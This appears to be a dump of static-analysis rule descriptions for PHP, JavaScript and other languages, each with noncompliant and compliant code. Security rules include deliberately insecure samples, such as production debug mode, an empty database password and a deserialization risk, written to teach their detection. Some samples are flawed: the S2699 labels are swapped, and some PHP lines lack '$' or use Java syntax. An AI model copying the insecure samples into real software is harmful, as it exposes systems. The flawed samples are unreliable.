class MyTest extends \PHPUnit\Framework\TestCase {
    public function testA() { // Compliant
        $this->assertTrue(getValue());
    }

    public function testB() {
        $this->b();
    }

    public function b() { // Compliant
        $this->assertTrue(getValue());
    }
}
php:S5779

PHPUnit assertions do throw a PHPUnit\Framework\ExpectationFailedException exception when they fail. This is how PHPUnit internally notices when assertions within testcases fail. However, if such an exception type or one of its parent types is captured within a try-catch block and not rethrown, PHPUnit does not notice the assertion failure.

This check raises an issue on assertions within the try body of a try-catch block that do catch exceptions of the type PHPUnit\Framework\ExpectationFailedException, PHPUnit\Framework\AssertionFailedError, or Exception, and do not handle the variable holding the exception.

Noncompliant Code Example

public function testA() {
    try {
        assertTrue(getValue()); // Noncompliant
    } catch (\PHPUnit\Framework\ExpectationFailedException $e) {

    }
}

Compliant Solution

public function testB() {
    try {
        assertTrue(getValue()); // Compliant
    } catch (\PHPUnit\Framework\ExpectationFailedException $e) {
        assertEquals("Some message", $e->getMessage());
    }
}
php:S3358

Just because you can do something, doesn't mean you should, and that's the case with nested ternary operations. Nesting ternary operators results in the kind of code that may seem clear as day when you write it, but six months later will leave maintainers (or worse - future you) scratching their heads and cursing.

Instead, err on the side of clarity, and use another line to express the nested operation as a separate statement.

Noncompliant Code Example

function get_readable_status($is_running, $has_errors) {
  return $is_running ? "Running" : ($has_errors ? "Failure" : "Succeeded");  // Noncompliant
}

Compliant Solution

function get_readable_status($is_running, $has_errors) {
  if ($is_running) {
    return "Running";
  }
  return $has_errors ? "Failure. " : "Succeeded ";
}
php:S1481

If a local variable is declared but not used, it is dead code and should be removed. Doing so will improve maintainability because developers will not wonder what the variable is used for.

Noncompliant Code Example

function numberOfMinutes($hours) {
  $seconds = 0;   // seconds is never used
  return hours * 60;
}

Compliant Solution

function numberOfMinutes($hours) {
  return hours * 60;
}
php:S1121

Assignments within sub-expressions are hard to spot and therefore make the code less readable. Ideally, sub-expressions should not have side-effects.

Noncompliant Code Example

if ($val = value() && check()) { // Noncompliant
}

Compliant Solution

$val = value();
if ($val && check()) {
}

or

if ($val == value() && check()) { // Perhaps in fact the assignment operator was expected
}

Exceptions

Assignments in while statement conditions, and assignments enclosed in relational expressions are allowed.

while (($line = next_line()) != NULL) {...}

while ($line = next_line()) {...}

See

php:S1124

The PSR2 standard recommends listing modifiers in the following order to improve the readability of PHP source code:

  1. final or abstract
  2. public or protected or private
  3. static

Noncompliant Code Example

static protected $foo;
...
public static final function bar(){...}

Compliant Solution

protected static $foo;
...
final public static function bar(){...}
php:S1125

Redundant Boolean literals should be removed from expressions to improve readability.

Noncompliant Code Example

if ($booleanVariable == true) { /* ... */ }
if ($booleanVariable != true) { /* ... */ }
if ($booleanVariable || false) { /* ... */ }
doSomething(!false);

Compliant Solution

if ($booleanVariable) { /* ... */ }
if (!$booleanVariable) { /* ... */ }
if ($booleanVariable) { /* ... */ }
doSomething(true);

Exceptions

The use of literal booleans in comparisons which use identity operators (=== and !==) are ignored.

php:S1488

Declaring a variable only to immediately return or throw it is a bad practice.

Some developers argue that the practice improves code readability, because it enables them to explicitly name what is being returned. However, this variable is an internal implementation detail that is not exposed to the callers of the method. The method name should be sufficient for callers to know exactly what will be returned.

Noncompliant Code Example

function computeDurationInMilliseconds() {
  $duration = ((($hours * 60) + $minutes) * 60 + $seconds ) * 1000 ;
  return $duration;
}

Compliant Solution

function computeDurationInMilliseconds() {
  return ((($hours * 60) + $minutes) * 60 + $seconds ) * 1000;
}
php:S2699

A test case without assertions ensures only that no exceptions are thrown. Beyond basic runnability, it ensures nothing about the behavior of the code under test.

This rule raised an issue when no assertions are found within a PHPUnit test method.

Noncompliant Code Example

public function testDoSomething() {  // Compliant
  $myClass = new MyClass();
  $myClass->getSomething();
}

Compliant Solution

public function testDoSomething() {  // Noncompliant
  $myClass = new MyClass();
  $this->assertEquals("foo", $myClass->getSomething());
}
php:S1126

Return of boolean literal statements wrapped into if-then-else ones should be simplified.

Noncompliant Code Example

if (expression) {
  return true;
} else {
  return false;
}

Compliant Solution

return expression;
php:S1116

Empty statements, i.e. ;, are usually introduced by mistake, for example because:

  • It was meant to be replaced by an actual statement, but this was forgotten.
  • There was a typo which lead the semicolon to be doubled, i.e. ;;.

Noncompliant Code Example

function doSomething() {
  ;                                              // Noncompliant - was used as a kind of TODO marker
}

function doSomethingElse($p) {
  echo $p;;                                      // Noncompliant - double ;
}

for ($i = 1; $i <= 10; doSomething($i), $i++);   // Noncompliant - Rarely, they are used on purpose as the body of a loop. It is a bad practice to have side-effects outside of the loop body

Compliant Solution

function doSomething() {}

function doSomethingElse($p) {
  echo $p;

  for ($i = 1; $i <= 10; $i++) {
    doSomething($i);
  }
}

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
  • CERT, MSC51-J. - Do not place a semicolon immediately following an if, for, or while condition
  • CERT, EXP15-C. - Do not place a semicolon on the same line as an if, for, or while statement
php:S1479

When switch statements have large sets of case clauses, it is usually an attempt to map two sets of data. A real map structure would be more readable and maintainable, and should be used instead.

php:S3415

The standard PHPUnit assertion methods such as assertEquals, expect the first argument to be the expected value and the second argument to be the actual value. Swap them, and your test will still have the same outcome (succeed/fail when it should) but the error messages will be confusing.

This rule raises an issue when the second argument to an assertions library method is a hard-coded value and the first argument is not.

Noncompliant Code Example

self::assertEquals($runner.getExitCode(), 0, "Unexpected exit code"); // Noncompliant; Failed asserting that 0 matches expected 3. Expected :3 Actual :0.

Compliant Solution

self::assertEquals(0, $runner.getExitCode(), "Unexpected exit code");
php:S4507

Delivering code in production with debug features activated is security-sensitive. It has led in the past to the following vulnerabilities:

An application's debug features enable developers to find bugs more easily and thus facilitate also the work of attackers. It often gives access to detailed information on both the system running the application and users.

Ask Yourself Whether

  • the code or configuration enabling the application debug features is deployed on production servers.
  • the application runs by default with debug features activated.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Do not enable debug features on production servers.

Sensitive Code Example

CakePHP 1.x, 2.x:

Configure::write('debug', 1); // Sensitive: development mode
or
Configure::write('debug', 2); // Sensitive: development mode
or
Configure::write('debug', 3); // Sensitive: development mode

CakePHP 3.0:

use Cake\Core\Configure;

Configure::config('debug', true); // Sensitive: development mode

Compliant Solution

CakePHP 1.2:

Configure::write('debug', 0); // Compliant; this is the production mode

CakePHP 3.0:

use Cake\Core\Configure;

Configure::config('debug', false); // Compliant:  "0" or "false" for CakePHP 3.x is suitable (production mode) to not leak sensitive data on the logs.

See

php:S1117

Overriding or shadowing a variable declared in an outer scope can strongly impact the readability, and therefore the maintainability, of a piece of code. Further, it could lead maintainers to introduce bugs because they think they're using one variable but are really using another.

Noncompliant Code Example

class Foo {
  public $myField;

  public function doSomething() {
    $myField = 0;
    ...
  }
}

See

php:S4508

Deserializing objects is security-sensitive. For example, it has led in the past to the following vulnerabilities:

Object deserialization from an untrusted source can lead to unexpected code execution. Deserialization takes a stream of bits and turns it into an object. If the stream contains the type of object you expect, all is well. But if you're deserializing data coming from untrusted input, and an attacker has inserted some other type of object, you're in trouble. Why? A known attack scenario involves the creation of a serialized PHP object with crafted attributes which will modify your application's behavior. This attack relies on PHP magic methods like __desctruct, __wakeup or __string. The attacker doesn't necessarily need the source code of the targeted application to exploit the vulnerability, he can also rely on the presence of open-source component and use tools to craft malicious payloads.

Ask Yourself Whether

  • an attacker could have tampered with the source provided to the deserialization function
  • you are using an unsafe deserialization function

You are at risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

To prevent insecure deserialization, it is recommended to:

  • Use safe libraries that do not allow code execution at deserialization.
  • Not communicate with the outside world using serialized objects
  • Limit access to the serialized source
    • if it is a file, restrict the access to it.
    • if it comes from the network, restrict who has access to the process, such as with a Firewall or by authenticating the sender first.

See

Deprecated

This rule is deprecated, and will eventually be removed.

php:NoSonar

Any issue to quality rule can be deactivated with the NOSONAR marker. This marker is pretty useful to exclude false-positive results but it can also be used abusively to hide real quality flaws.

This rule raises an issue when NOSONAR is used.

php:S2681

Curly braces can be omitted from a one-line block, such as with an if statement or for loop, but doing so can be misleading and induce bugs.

This rule raises an issue when the whitespacing of the lines after a one line block indicates an intent to include those lines in the block, but the omission of curly braces means the lines will be unconditionally executed once.

Noncompliant Code Example

if ($condition)
  firstActionInBlock();
  secondAction();  // Noncompliant; executed unconditionally
thirdAction();

if($condition) firstActionInBlock(); secondAction();  // Noncompliant; secondAction executed unconditionally

if($condition) firstActionInBlock();  // Noncompliant
  secondAction();  // Executed unconditionally

$str = null;
for ($i = 0; $i < count($array); $i++)
  $str = $array[$i];
  doTheThing($str);  // Noncompliant; executed only on last array element

Compliant Solution

if ($condition) {
  firstActionInBlock();
  secondAction();
}
thirdAction();

if($condition) { firstActionInBlock(); secondAction(); }

if($condition) {
  firstActionInBlock();
  secondAction();
}

$str = null;
for ($i = 0; $i < count($array); $i++) {
  $str = $array[$i];
  doTheThing($str);
}

See

php:S1110

The use of parentheses, even those not required to enforce a desired order of operations, can clarify the intent behind a piece of code. But redundant pairs of parentheses could be misleading, and should be removed.

Noncompliant Code Example

$x = ($y / 2 + 1); // Compliant even if the parenthesis are ignored by the compiler

if ($a && (($x + $y > 0))) { // Noncompliant
  //...
}

return (($x + 1)); // Noncompliant

Compliant Solution

$x = ($y / 2 + 1);

if ($a && ($x + $y > 0)) {
  //...
}

return ($x + 1);
php:S5713

Repeating an exception class in a single catch clause will not fail but it is not what the developer intended. Either the class is not the one which should be caught, or this is dead code.

Having a subclass and a parent class in the same catch clause is also useless. It is enough to keep only the parent class.

This rule raises an issue when an exception class is duplicated in a catch clause, or when an exception class has a parent class in the same catch clause.

Noncompliant Code Example

try {
    throw new CustomException();
} catch(CustomException | Exception $e) { // Noncompliant. CustomException inherits from Exception
    echo $e->message();
}

try {
    throw new CustomException();
} catch(Exception | Exception $e) { // Noncompliant.
    echo $e->message();
}

Compliant Solution

try {
    throw new CustomException();
} catch(Exception $e) {
    echo $e->message();
}

try {
    throw new CustomException();
} catch(CustomException $e) {
    echo $e->getCustomMessage();
} catch(Exception $e) {
    echo $e->message();
}

See

php:S2201

When the call to a function doesn't have any side effect, what is the point of making the call if the results are ignored? In such cases, either the function call is useless and should be dropped, or the source code doesn't behave as expected.

Noncompliant Code Example

strlen($name); // Noncompliant; "strlen" has no side effect

Compliant Solution

$length = strlen($name);

See

php:S3776

Cognitive Complexity is a measure of how hard the control flow of a function is to understand. Functions with high Cognitive Complexity will be difficult to maintain.

See

php:S1599

PHP's "variable variables" feature (dynamically-named variables) is temptingly powerful, but can lead to unmaintainable code.

Noncompliant Code Example

$var = 'foo';
$$var = 'bar';      //Noncompliant
$$$var = 'hello';  //Noncompliant

echo $foo; //will display 'bar'
echo $bar; //will display 'hello'
php:S1820

A class that grows too much tends to aggregate too many responsibilities and inevitably becomes harder to understand and therefore to maintain, and having a lot of fields is an indication that a class has grown too large.

Above a specific threshold, it is strongly advised to refactor the class into smaller ones which focus on well defined topics.

php:S1821

Nested switch structures are difficult to understand because you can easily confuse the cases of an inner switch as belonging to an outer statement. Therefore nested switch statements should be avoided.

Specifically, you should structure your code to avoid the need for nested switch statements, but if you cannot, then consider moving the inner switch to another function.

Noncompliant Code Example

switch($a) {
  case "foo":
    switch($b) { // Noncompliant
      case "bar":
        doSomething();
      break;
    }
  break;
}

Compliant Solution

function handleFoo($foo) {
  switch($foo) {
    case "bar":
      doSomething();
    break;
  }
}

switch($a) {
  case "foo":
    handleFoo($b);
  break;
}
php:S881

The use of increment and decrement operators in method calls or in combination with other arithmetic operators is not recommended, because:

  • It can significantly impair the readability of the code.
  • It introduces additional side effects into a statement, with the potential for undefined behavior.
  • It is safer to use these operators in isolation from any other arithmetic operators.

Noncompliant Code Example

$u8a = ++$u8b + $u8c--;
$foo = $bar++ / 4;

Compliant Solution

The following sequence is clearer and therefore safer:

++$u8b;
$u8a = $u8b + $u8c;
$u8c--;
$foo = $bar / 4;
$bar++;

See

  • CERT, EXP30-C. - Do not depend on the order of evaluation for side effects
  • CERT, EXP50-CPP. - Do not depend on the order of evaluation for side effects
  • CERT, EXP05-J. - Do not follow a write by a subsequent write or read of the same object within an expression
php:S5863

Assertions comparing an object to itself are more likely to be bugs due to developer's carelessness.

This rule raises an issue when the actual expression matches the expected expression.

Noncompliant Code Example

assertEqual($a, $a); // Noncompliant
assertSame($a, $a); // Noncompliant
assertNotEqual($a, $a); // Noncompliant
assertNotSame($a, $a); // Noncompliant

Compliant Solution

assertEqual($expected, $a);
assertSame($expected, $a);
assertNotEqual($expected, $a);
assertNotSame($expected, $a);
php:S1142

Having too many return statements in a function increases the function's essential complexity because the flow of execution is broken each time a return statement is encountered. This makes it harder to read and understand the logic of the function.

Noncompliant Code Example

With the default threshold of 3:

function myFunction(){ // Noncompliant as there are 4 return statements
  if (condition1) {
    return true;
  } else {
    if (condition2) {
      return false;
    } else {
      return true;
    }
  }
  return false;
}
php:S1264

When only the condition expression is defined in a for loop, and the initialization and increment expressions are missing, a while loop should be used instead to increase readability.

Noncompliant Code Example

for (;condition;) { /*...*/ }

Compliant Solution

while (condition) { /*...*/ }
php:S1144

private methods that are never executed are dead code: unnecessary, inoperative code that should be removed. Cleaning out dead code decreases the size of the maintained codebase, making it easier to understand the program and preventing bugs from being introduced.

Noncompliant Code Example

public class Foo
{
  private function Foo() {}   // Compliant, private empty constructor intentionally used to prevent any direct instantiation of a class.

  public static function doSomething()
  {
    $foo = new Foo();
    ...
  }

  private function unusedPrivateFunction() {  // Noncompliant
  }
}

Compliant Solution

public class Foo
{
  private function Foo(){}   // Compliant, private empty constructor intentionally used to prevent any direct instantiation of a class.

  public static function doSomething()
  {
    $foo = new Foo();
  }
}
php:S1145

if statements with conditions that are always false have the effect of making blocks of code non-functional. if statements with conditions that are always true are completely redundant, and make the code less readable.

There are three possible causes for the presence of such code:

  • An if statement was changed during debugging and that debug code has been committed.
  • Some value was left unset.
  • Some logic is not doing what the programmer thought it did.

In any of these cases, unconditional if statements should be removed.

Noncompliant Code Example

if (true) {  // Noncompliant
  doSomething();
}
...
if (false) {  // Noncompliant
  doSomethingElse();
}

Compliant Solution

doSomething();

See

php:S2234

When the names of parameters in a method call match the names of the method arguments, it contributes to clearer, more readable code. However, when the names match, but are passed in a different order than the method arguments, it indicates a mistake in the parameter order which will likely lead to unexpected results.

Noncompliant Code Example

public function divide($divisor, $dividend) {
  return $divisor/$dividend;
}

public function doTheThing() {
  $divisor = 15;
  $dividend = 5;

  $result = $this->divide($dividend, $divisor);  // Noncompliant; operation succeeds, but result is unexpected
}

Compliant Solution

public function divide($divisor, $dividend) {
  return $divisor/$dividend;
}

public function doTheThing() {
  $divisor = 15;
  $dividend = 5;

  $result = $this->divide($divisor, $dividend); // Compliant
}{code}
h4.  
php:S2115

Databases should always be password protected. The use of a database connection with an empty password is a clear indication of a database that is not protected.

This rule flags database connections with empty passwords.

Noncompliant Code Example

<?php
  $servername = "localhost";
  $username = "AppLogin";
  $password = "";

  // MySQL
  $conn = new mysqli($servername, $username, $password);
  // MySQL
  $conn = mysqli_connect($servername, $username, $password);
  // PDO way
  $conn = new PDO("mysql:host=$servername;dbname=myDB", $username, $password);
  // Oracle
  $conn = oci_connect($username, $password, "//localhost/orcl");
  // MS SQL Server
  $sqlsrvName = "serverName\sqlexpress";
  $sqlsrvConnInfo = array( "Database"=>"myDB", "UID"=>$username, "PWD"=>$password);
  $conn = sqlsrv_connect( $sqlsrvName, $sqlsrvConnInfo);
  // PosgreSQL
  $pgConnInfo = "host=localhost port=5432 dbname=test user=" . $username . " password=" . $password;
  $conn = pg_connect($pgConnInfo);
?>

See

php:S1940

It is needlessly complex to invert the result of a boolean comparison. The opposite comparison should be made instead.

Noncompliant Code Example

if (!($a == 2)) { ... }  // Noncompliant
$b = !($i < 10);  // Noncompliant

Compliant Solution

if ($a != 2) { ... }
$b = ($i >= 10);
php:S1808

Shared coding conventions make it possible for a team to collaborate efficiently. This rule raises issues for failures to comply with formatting standard. The default parameter values conform to the PSR2 standard.

Noncompliant Code Example

With the default PSR2 parameter values:

use FooClass;              // Noncompliant; the "use" declaration should be placed after the "namespace" declaration

namespace Vendor\Package;
use FooClass;              // Noncompliant; the "namespace" declaration should be followed by a blank line
$foo = 1;                  // Noncompliant; the "use" declaration should be followed by a blank line

class ClassA {             // Noncompliant; an open curly brace should be at the beginning of a new line for classes and functions
  function my_function(){  // Noncompliant; curly brace on wrong line
    if ($firstThing)       // Noncompliant; an open curly brace should be at the end of line for a control structure
    {
      ...
    }

    if ($secondThing)    { // Noncompliant; there should be exactly one space between the closing parenthesis and the opening curly brace
      ...
    }

    if($thirdThing) {      // Noncompliant; there should be exactly one space between the control structure keyword and the opening parenthesis
      ...
    }
    else {                 // Noncompliant; the close curly brace and the next "else" (or "catch" or "finally") keyword should be located on the same line
      ...
    }

    try{                   // Noncompliant; there should be exactly one space between the control structure keyword and the curly brace
      ...
    } catch (Exception $e) {
    }

    analyse( $fruit ) ;    // Noncompliant; there should not be any space after the opening parenthesis and before the closing parenthesis

    for ($i = 0;$i < 10;   $i++) { // Nomcompliant; there should be exactly one space after each ";" in the {{for}} statement
      ...
    }

    pressJuice($apply ,$orange);    // Noncompliant; the comma should be followed by one space and not preceded by any

    do_something ();       // Noncompliant; there should not be any space after the method name

    foreach ($fruits    as $fruit_key =>     $fruit) {  // Noncompliant; in the foreach statement there should be one space before and after "as" keyword and "=>" operator
      ...
    }
  }
}

class ClassB
extends ParentClass  // Noncompliant; the class name and the "extends" / "implements" keyword should be on the same line
{
  ...
}

class ClassC extends ParentClass implements \ArrayAccess, \Countable,
    \Serializable    // Noncompliant; the list of implemented interfaces should be correctly indented
{

  public function aVeryLongMethodName(ClassTypeHint $arg1, // Noncompliant; the arguments in a method declaration should be correctly indented
    &$arg2, array $arg3 = []) {

    $noArgs_longVars = function () use ($longVar1,         // Noncompliant; the arguments in a function declaration should be correctly indented
        $longerVar2,
        $muchLongerVar3
    ) {
      ...
    };

    $foo->bar($longArgument,    // Noncompliant; the arguments in a method call should be correctly indented
      $longerArgument,
      $muchLongerArgument);     // Noncompliant; the closing parenthesis should be placed on the next line

    $closureWithArgsAndVars = function($arg1, $arg2)use   ($var1, $var2) {  // Noncompliant; the closure declaration should be correctly spaced - see (5)
      ...
    };
  }
}

Compliant Solution

namespace Vendor\Package; // Compliant; the "namespace" declaration is followed by a blank line

use FooClass;             // Compliant; the "use" declaration is placed after the "namespace" declaration
                          // Compliant; the "use" declaration is followed by a blank line
$foo = 1;

class ClassA
{                         // Compliant; the open curly brace is at the beginning of a new line for the class
  function my_function()
  {                       // Compliant; the open curly brace is at the beginning of a new line for the function
    if ($firstThing) {    // Compliant; the open curly brace is at the end of line for the control structure
      ...
    }

    if ($secondThing) {   // Compliant; there is exactly one space between the closing parenthesis and the opening curly brace
      ...
    }

    if ($thirdThing) {    // Compliant; there is exactly one space between the control structure keyword and the opening parenthesis
      ...
    } else {              // Compliant; the close curly brace and the next "else" (or "catch" or "finally") keyword are located on the same line
      ...
    }

    try {                 // Compliant; there is exactly one space between the control structure keyword and the curly brace
      ...
    } catch (Exception $e) {
      ...
    }

    analyse($fruit);      // Compliant: there is no space after the opening parenthesis, nor before the closing parenthesis

    for ($i = 0; $i < 10; $i++) { // Compliant: there is exactly one space after each ";" in the {{for}} statement
      ...
    }

    pressJuice($apply, $orange);   // Compliant; the comma is followed by one space and is not preceded by any

    do_something();       // Compliant; there is no space after the method name

    foreach ($fruits as $fruit_key => $fruit) {  // Compliant; in the foreach statement there is one space before and after "as" keyword and "=>" operator
      ...
    }
  }
}

/* The idea here is to make it obvious at first glance that a class extends
 * some other classes and/or implements some interfaces. The names of
 * extended classes or implemented interfaces can be located on subsequent lines.
 */
class ClassB1 extends ParentClass // Compliant; the class name and the "extends" (or "implements") keyword are located on the same line
{
  ...
}

class ClassB2 extends             // Compliant; the class name and the "extends" (or "implements") keyword are located on the same line
ParentClass {
  ...
}

/* Lists of implements may be split across multiple lines, where each subsequent line
 * is indented once. When doing so, the first item in the list should be on the next line,
 * and there should be only one interface per line.
 */
class ClassC extends ParentClass implements
    \ArrayAccess,         // Compliant; the list of implemented interfaces is correctly indented
    \Countable,
    \Serializable
{
  /* Argument lists may be split across multiple lines, where each subsequent line
   * is indented once. When doing so, the first item in the list should be on the next line,
   * and there should be only one argument per line. Also, when the argument list is
   * split across multiple lines, the closing parenthesis and opening brace should be
   * placed together on their own line with one space between them.
   */
  public function aVeryLongMethodName(
    ClassTypeHint $arg1,  // Compliant; the arguments in a method/function declaration are correctly indented
      &$arg2,
      array $arg3 = []
    ) {
      $noArgs_longVars = function () use (
        $longVar1,        // Compliant; the arguments in a method/function declaration are correctly indented
        $longerVar2,
        $muchLongerVar3
      ) {
        ...
      };


    /* Argument lists may be split across multiple lines, where each subsequent line is
     * indented once. When doing so, the first item in the list should be on the next line,
     * and there should be only one argument per line.
     */
    $foo->bar(
      $longArgument,       // Compliant; the arguments in the method call are be correctly indented
      $longerArgument,
      $muchLongerArgument
    );                     // Compliant; the closing parenthesis is placed on a separate line

    /* Closures should be declared with a space after the "function" keyword,
     * and a space before and after the "use" keyword.
     */
    $closureWithArgsAndVars = function ($arg1, $arg2) use ($var1, $var2) { // Compliant; the closure declaration is correctly spaced
      ...
    };
  }
}
php:S1131

Trailing whitespaces are simply useless and should not stay in code. They may generate noise when comparing different versions of the same file.

If you encounter issues from this rule, this probably means that you are not using an automated code formatter - which you should if you have the opportunity to do so.

Exceptions

Lines containing only whitespaces.

php:S1134

FIXME tags are commonly used to mark places where a bug is suspected, but which the developer wants to deal with later.

Sometimes the developer will not have the time or will simply forget to get back to that tag.

This rule is meant to track those tags and to ensure that they do not go unnoticed.

Noncompliant Code Example

function divide($numerator, $denominator) {
  return $numerator / $denominator;              // FIXME denominator value might be  0
}

See

php:S4524

switch can contain a default clause for various reasons: to handle unexpected values, to show that all the cases were properly considered.

For readability purpose, to help a developer to quickly find the default behavior of a switch statement, it is recommended to put the default clause at the end of the switch statement. This rule raises an issue if the default clause is not the first or the last one of the switch's cases.

Noncompliant Code Example

switch ($param) {
  case 0:
    doSomething();
    break;
  default: // default clause should be the first or last one
    error();
    break;
  case 1:
    doSomethingElse();
    break;
}

Compliant Solution

switch ($param) {
  case 0:
    doSomething();
    break;
  case 1:
    doSomethingElse();
    break;
  default:
    error();
    break;
}
php:S1135

TODO tags are commonly used to mark places where some more code is required, but which the developer wants to implement later.

Sometimes the developer will not have the time or will simply forget to get back to that tag.

This rule is meant to track those tags and to ensure that they do not go unnoticed.

Noncompliant Code Example

function doSomething() {
  // TODO
}

See

common-ruby:InsufficientBranchCoverage
An issue is created on a file as soon as the branch coverage on this file is less than the required threshold. It gives the number of branches to be covered in order to reach the required threshold.
common-ruby:InsufficientLineCoverage
An issue is created on a file as soon as the line coverage on this file is less than the required threshold. It gives the number of lines to be covered in order to reach the required threshold.
common-ruby:InsufficientCommentDensity
An issue is created on a file as soon as the density of comment lines on this file is less than the required threshold. The number of comment lines to be written in order to reach the required threshold is provided by each issue message.
common-ruby:DuplicatedBlocks
An issue is created on a file as soon as there is at least one block of duplicated code on this file
common-ruby:SkippedUnitTests
Skipped unit tests are considered as dead code. Either they should be activated again (and updated) or they should be removed.
common-ruby:FailedUnitTests
Test failures or errors generally indicate that regressions have been introduced. Those tests should be handled as soon as possible to reduce the cost to fix the corresponding regressions.
common-web:InsufficientBranchCoverage
An issue is created on a file as soon as the branch coverage on this file is less than the required threshold. It gives the number of branches to be covered in order to reach the required threshold.
common-web:InsufficientLineCoverage
An issue is created on a file as soon as the line coverage on this file is less than the required threshold. It gives the number of lines to be covered in order to reach the required threshold.
common-web:InsufficientCommentDensity
An issue is created on a file as soon as the density of comment lines on this file is less than the required threshold. The number of comment lines to be written in order to reach the required threshold is provided by each issue message.
common-web:DuplicatedBlocks
An issue is created on a file as soon as there is at least one block of duplicated code on this file
common-web:SkippedUnitTests
Skipped unit tests are considered as dead code. Either they should be activated again (and updated) or they should be removed.
common-web:FailedUnitTests
Test failures or errors generally indicate that regressions have been introduced. Those tests should be handled as soon as possible to reduce the cost to fix the corresponding regressions.
common-cs:InsufficientBranchCoverage
An issue is created on a file as soon as the branch coverage on this file is less than the required threshold. It gives the number of branches to be covered in order to reach the required threshold.
common-cs:InsufficientLineCoverage
An issue is created on a file as soon as the line coverage on this file is less than the required threshold. It gives the number of lines to be covered in order to reach the required threshold.
common-cs:InsufficientCommentDensity
An issue is created on a file as soon as the density of comment lines on this file is less than the required threshold. The number of comment lines to be written in order to reach the required threshold is provided by each issue message.
common-cs:DuplicatedBlocks
An issue is created on a file as soon as there is at least one block of duplicated code on this file
common-cs:SkippedUnitTests
Skipped unit tests are considered as dead code. Either they should be activated again (and updated) or they should be removed.
common-cs:FailedUnitTests
Test failures or errors generally indicate that regressions have been introduced. Those tests should be handled as soon as possible to reduce the cost to fix the corresponding regressions.
javascript:S1121

Assignments within sub-expressions are hard to spot and therefore make the code less readable. Ideally, sub-expressions should not have side-effects.

Noncompliant Code Example

if ((str = cont.substring(pos1, pos2)) != '') { // Noncompliant
  //...
}

Compliant Solution

str = cont.substring(pos1, pos2);
if (str != '') {
  //...
}

See

javascript:S3786

Template strings allow developers to embed variables or expressions in strings using template literals, instead of string concatenation. This is done by using expressions like ${variable} in a string between two back-ticks (`). However, when used in a regular string literal (between double or single quotes) the template will not be evaluated and will be used as a literal, which is probably not what was intended.

Noncompliant Code Example

console.log("Today is ${date}"); // Noncompliant

Compliant Solution

console.log(`Today is ${date}`);
javascript:S3785

The in operator tests whether the specified property is in the specified object.

If the right operand is a of primitive type (i.e., not an object) the in operator raises a TypeError.

Noncompliant Code Example

var x = "Foo";
"length" in x; // Noncompliant: TypeError
0 in x;        // Noncompliant: TypeError

Compliant Solution

var x = new String("Foo");
"length" in x;    // true
0 in x;           // true
"foobar" in x;    // false
javascript:S1125

Boolean literals should be avoided in comparison expressions == and != to improve code readability.

This rule also reports on redundant boolean operations.

Noncompliant Code Example

let someValue = "0";
// ...

if (someValue == true) { /* ... */ }
if (someBooleanValue != true) { /* ... */ }
doSomething(!false);

Compliant Solution

if (someValue && someValue != "0") { /* ... */ }
if (!someBooleanValue) { /* ... */ }
doSomething(true);
javascript:S1488

Declaring a variable only to immediately return or throw it is a bad practice.

Some developers argue that the practice improves code readability, because it enables them to explicitly name what is being returned. However, this variable is an internal implementation detail that is not exposed to the callers of the method. The method name should be sufficient for callers to know exactly what will be returned.

Noncompliant Code Example

function computeDurationInMilliseconds() {
  var duration = (((hours * 60) + minutes) * 60 + seconds ) * 1000 ;
  return duration;
}

Compliant Solution

function computeDurationInMilliseconds() {
  return (((hours * 60) + minutes) * 60 + seconds ) * 1000 ;
}
javascript:S1126

Return of boolean literal statements wrapped into if-then-else ones should be simplified.

Note that if the result of the expression is not a boolean but for instance an integer, then double negation should be used for proper conversion.

Noncompliant Code Example

if (expression) {
  return true;
} else {
  return false;
}

Compliant Solution

return expression;

or

return !!expression;
javascript:S1116

Extra semicolons (;) are usually introduced by mistake, for example because:

  • It was meant to be replaced by an actual statement, but this was forgotten.
  • There was a typo which lead the semicolon to be doubled, i.e. ;;.
  • There was a misunderstanding about where semicolons are required or useful.

Noncompliant Code Example

var x = 1;; // Noncompliant

function foo() {
};  // Noncompliant

Compliant Solution

var x = 1;

function foo() {
}

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
  • CERT, MSC51-J. - Do not place a semicolon immediately following an if, for, or while condition
  • CERT, EXP15-C. - Do not place a semicolon on the same line as an if, for, or while statement
javascript:S1479

When switch statements have large sets of case clauses, it is usually an attempt to map two sets of data. A real map structure would be more readable and maintainable, and should be used instead.

javascript:S4507

Delivering code in production with debug features activated is security-sensitive. It has led in the past to the following vulnerabilities:

An application's debug features enable developers to find bugs more easily and thus facilitate also the work of attackers. It often gives access to detailed information on both the system running the application and users.

Ask Yourself Whether

  • the code or configuration enabling the application debug features is deployed on production servers.
  • the application runs by default with debug features activated.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Do not enable debug features on production servers.

Sensitive Code Example

errorhandler Express.js middleware should not be used in production:

const express = require('express');
const errorhandler = require('errorhandler');

let app = express();
app.use(errorhandler()); // Sensitive

Compliant Solution

errorhandler Express.js middleware used only in development mode:

const express = require('express');
const errorhandler = require('errorhandler');

let app = express();

if (process.env.NODE_ENV === 'development') {  // Compliant
  app.use(errorhandler());  // Compliant
}

See

javascript:S1117

Overriding or shadowing a variable declared in an outer scope can strongly impact the readability, and therefore the maintainability, of a piece of code. Further, it could lead maintainers to introduce bugs because they think they're using one variable but are really using another.

See

javascript:S2208

On the principle that clearer code is better code, you should explicitly import the things you want to use in a module. Using import * imports everything in the module, and runs the risk of confusing maintainers. Similarly, export * from "module"; imports and then re-exports everything in the module, and runs the risk of confusing not just maintainers but also users of the module.

Noncompliant Code Example

import * as Imported from "aModule";  // Noncompliant
javascript:S1119

Labels are not commonly used, and many developers do not understand how they work. Moreover, their usage makes the control flow harder to follow, which reduces the code's readability.

Noncompliant Code Example

myLabel: {
  let x = doSomething();
  if (x > 0) {
    break myLabel;
  }
  doSomethingElse();
}

Compliant Solution

let x = doSomething();
if (x <= 0) {
  doSomethingElse();
}

 

javascript:S1472

Because semicolons at the ends of statements are optional, starting function call arguments on a separate line makes the code confusing. It could lead to errors and most likely will lead to questions for maintainers.

What was the initial intent of the developer?

  1. Define a function and then execute some unrelated code inside a closure ?
  2. Pass the second function as a parameter to the first one ?

The first option will be the one chosen by the JavaScript interpreter.

By extension, and to improve readability, any kind of function call argument should not start on new line.

Noncompliant Code Example

var fn = function () {
  //...
}

(function () { // Noncompliant
  //...
})();

Compliant Solution

Either

// define a function
var fn = function () {
  //...
}; // <-- semicolon added

// then execute some code inside a closure
